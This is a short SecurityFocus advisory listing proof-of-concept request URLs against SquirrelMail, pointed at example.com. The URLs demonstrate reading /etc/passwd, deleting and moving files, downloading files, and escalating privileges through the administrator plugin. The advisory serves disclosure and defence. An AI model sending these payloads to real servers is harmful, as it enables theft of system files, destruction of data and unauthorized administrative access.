Squirrelmail Multiple Remote Vulnerabilities

The following proof of concept examples have been supplied:

File disclosure:
http://www.example.com/src/read_body.php?mailbox=/etc/passwd&passed_id=1&

File deletion:
http://www.example.com/src/delete_message.php?mailbox=[filehere]&message=1

File moving:
http://www.example.com/src/move_messages.php?msg=1&mailbox=[file_you_want_to_move]&startMessage=1&targetMailbox=[target_mailbox_here]

File download:
http://www.example.com/src/download.php?absolute_dl=true&passed_id=1&passed_ent_id=1&mailbox=/etc/passwd

Privilege escalation:
http://www.example.com/plugins/administrator/options.php?username="root"&adm_Group1=//Find it from file:plugins/administrator/admins//&off=true&key=$


 

Privacy Statement
Copyright 2010, SecurityFocus